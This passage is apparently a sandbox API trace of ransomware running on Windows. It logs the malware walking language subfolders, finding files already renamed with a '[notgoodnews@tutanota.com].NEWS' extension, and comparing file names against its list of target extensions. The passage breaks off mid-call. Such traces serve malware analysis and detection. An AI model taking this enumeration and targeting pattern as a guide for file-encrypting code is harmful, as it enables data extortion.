lpFileName="C:\\588bce7c90097ed212\\1041\\*", lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x39498ad6, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39498ad6, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x484558 [0157.500] FindNextFileW (in: hFindFile=0x484558, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x39498ad6, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39498ad6, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.500] FindNextFileW (in: hFindFile=0x484558, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x392ced5f, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x392ced5f, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x394e4f30, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x2874, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="EULART~1.NEW")) returned 1 [0157.500] FindNextFileW (in: hFindFile=0x484558, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x394e4f30, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x394e4f30, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x394e4f30, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x10b86, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="LOCALI~1.NEW")) returned 1 [0157.500] FindNextFileW (in: hFindFile=0x484558, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3982c17b, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3982c17b, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3982c17b, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x3e58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 1 [0157.500] FindNextFileW (in: hFindFile=0x484558, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3982c17b, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3982c17b, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3982c17b, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x3e58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 0 [0157.500] FindClose (in: hFindFile=0x484558 | out: hFindFile=0x484558) returned 1 [0157.501] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fc0980 | out: hHeap=0x420000) returned 1 [0157.501] FindNextFileW (in: hFindFile=0x484898, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1042", cAlternateFileName="")) returned 1 [0157.501] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3fc0980 [0157.501] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\*", lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x484318 [0157.502] FindNextFileW (in: hFindFile=0x484318, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.502] FindNextFileW (in: hFindFile=0x484318, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3950d788, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3950d788, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3950d788, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x3274, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="EULART~1.NEW")) returned 1 [0157.502] FindNextFileW (in: hFindFile=0x484318, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3953138c, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3953138c, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x399837b7, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xffd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="LOCALI~1.NEW")) returned 1 [0157.502] FindNextFileW (in: hFindFile=0x484318, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39852453, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39852453, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39852453, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x3c58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 1 [0157.502] FindNextFileW (in: hFindFile=0x484318, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39852453, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39852453, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39852453, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x3c58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 0 [0157.502] FindClose (in: hFindFile=0x484318 | out: hFindFile=0x484318) returned 1 [0157.503] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fc0980 | out: hHeap=0x420000) returned 1 [0157.503] FindNextFileW (in: hFindFile=0x484898, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1043", cAlternateFileName="")) returned 1 [0157.503] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3fc0980 [0157.503] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\*", lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4842d8 [0157.504] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.504] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x395575c9, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x395575c9, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x395575c9, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xec4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="EULART~1.NEW")) returned 1 [0157.504] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x395575c9, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x395575c9, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3957d995, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x13816, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="LOCALI~1.NEW")) returned 1 [0157.504] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39852453, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39852453, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39c20480, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 1 [0157.504] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39852453, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39852453, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39c20480, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 0 [0157.504] FindClose (in: hFindFile=0x4842d8 | out: hFindFile=0x4842d8) returned 1 [0157.505] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fc0980 | out: hHeap=0x420000) returned 1 [0157.505] FindNextFileW (in: hFindFile=0x484898, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1044", cAlternateFileName="")) returned 1 [0157.505] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3fc0980 [0157.505] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\*", lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x484558 [0157.506] FindNextFileW (in: hFindFile=0x484558, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.506] FindNextFileW (in: hFindFile=0x484558, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3957d995, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3957d995, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x395f40e0, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xcd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="EULART~1.NEW")) returned 1 [0157.506] FindNextFileW (in: hFindFile=0x484558, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x395a3fec, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x395a3fec, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x395a3fec, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x136c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="LOCALI~1.NEW")) returned 1 [0157.506] FindNextFileW (in: hFindFile=0x484558, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39852453, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39852453, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x398785fe, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 1 [0157.506] FindNextFileW (in: hFindFile=0x484558, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39852453, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39852453, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x398785fe, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 0 [0157.506] FindClose (in: hFindFile=0x484558 | out: hFindFile=0x484558) returned 1 [0157.507] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fc0980 | out: hHeap=0x420000) returned 1 [0157.507] FindNextFileW (in: hFindFile=0x484898, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1045", cAlternateFileName="")) returned 1 [0157.507] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3fc0980 [0157.507] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\*", lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4842d8 [0157.508] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.508] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x395c9cbe, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x395c9cbe, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x395c9cbe, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x10b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="EULART~1.NEW")) returned 1 [0157.508] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x395c9cbe, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x395c9cbe, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x399ac4e4, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x142c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="LOCALI~1.NEW")) returned 1 [0157.508] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x398785fe, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x398785fe, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x398785fe, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 1 [0157.508] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x398785fe, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x398785fe, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x398785fe, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 0 [0157.508] FindClose (in: hFindFile=0x4842d8 | out: hFindFile=0x4842d8) returned 1 [0157.509] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fc0980 | out: hHeap=0x420000) returned 1 [0157.509] FindNextFileW (in: hFindFile=0x484898, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1046", cAlternateFileName="")) returned 1 [0157.509] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046") returned 26 [0157.509] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\588bce7c90097ed212\\1046") returned 1 [0157.509] lstrlenW (lpString="1046") returned 4 [0157.509] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="1046") returned 1 [0157.509] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3fc0980 [0157.509] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046") returned 26 [0157.509] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\*", lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4845d8 [0157.510] FindNextFileW (in: hFindFile=0x4845d8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.510] FindNextFileW (in: hFindFile=0x4845d8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x395f40e0, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x395f40e0, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x395f40e0, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xf54, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="EULART~1.NEW")) returned 1 [0157.510] lstrlenW (lpString="eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS") returned 52 [0157.510] lstrlenW (lpString=".1cd") returned 4 [0157.510] lstrcmpiW (lpString1=".1cd", lpString2="NEWS") returned -1 [0157.510] lstrlenW (lpString=".3ds") returned 4 [0157.510] lstrcmpiW (lpString1=".3ds", lpString2="NEWS") returned -1 [0157.510] lstrlenW (lpString=".3fr") returned 4 [0157.510] lstrcmpiW (lpString1=".3fr", lpString2="NEWS") returned -1 [0157.510] lstrlenW (lpString=".3g2") returned 4 [0157.510] lstrcmpiW (lpString1=".3g2", lpString2="NEWS") returned -1 [0157.511] lstrlenW (lpString=".3gp") returned 4 [0157.511] lstrcmpiW (lpString1=".3gp", lpString2="NEWS") returned -1 [0157.511] lstrlenW (lpString=".7z") returned 3 [0157.511] lstrcmpiW (lpString1=".7z", lpString2="EWS") returned -1 [0157.511] lstrlenW (lpString=".accda") returned 6 [0157.511] lstrcmpiW (lpString1=".accda", lpString2="].NEWS") returned -1 [0157.511] lstrlenW (lpString=".accdb") returned 6 [0157.511] lstrcmpiW (lpString1=".accdb", lpString2="].NEWS") returned -1 [0157.511] lstrlenW (lpString=".accdc") returned 6 [0157.511] lstrcmpiW (lpString1=".accdc", lpString2="].NEWS") returned -1 [0157.511] lstrlenW (lpString=".accde") returned 6 [0157.511] lstrcmpiW (lpString1=".accde", lpString2="].NEWS") returned -1 [0157.511] lstrlenW (lpString=".accdt") returned 6 [0157.511] lstrcmpiW (lpString1=".accdt", lpString2="].NEWS") returned -1 [0157.511] lstrlenW (lpString=".accdw") returned 6 [0157.511] lstrcmpiW (lpString1=".accdw", lpString2="].NEWS") returned -1 [0157.511] lstrlenW (lpString=".adb") returned 4 [0157.511] lstrcmpiW (lpString1=".adb", lpString2="NEWS") returned -1 [0157.511] lstrlenW (lpString=".adp") returned 4 [0157.511] lstrcmpiW (lpString1=".adp", lpString2="NEWS") returned -1 [0157.511] lstrlenW (lpString=".ai") returned 3 [0157.511] lstrcmpiW (lpString1=".ai", lpString2="EWS") returned -1 [0157.511] lstrlenW (lpString=".ai3") returned 4 [0157.511] lstrcmpiW (lpString1=".ai3", lpString2="NEWS") returned -1 [0157.511] lstrlenW (lpString=".ai4") returned 4 [0157.511] lstrcmpiW (lpString1=".ai4", lpString2="NEWS") returned -1 [0157.511] lstrlenW (lpString=".ai5") returned 4 [0157.511] lstrcmpiW (lpString1=".ai5", lpString2="NEWS") returned -1 [0157.511] lstrlenW (lpString=".ai6") returned 4 [0157.511] lstrcmpiW (lpString1=".ai6", lpString2="NEWS") returned -1 [0157.511] lstrlenW (lpString=".ai7") returned 4 [0157.511] lstrcmpiW 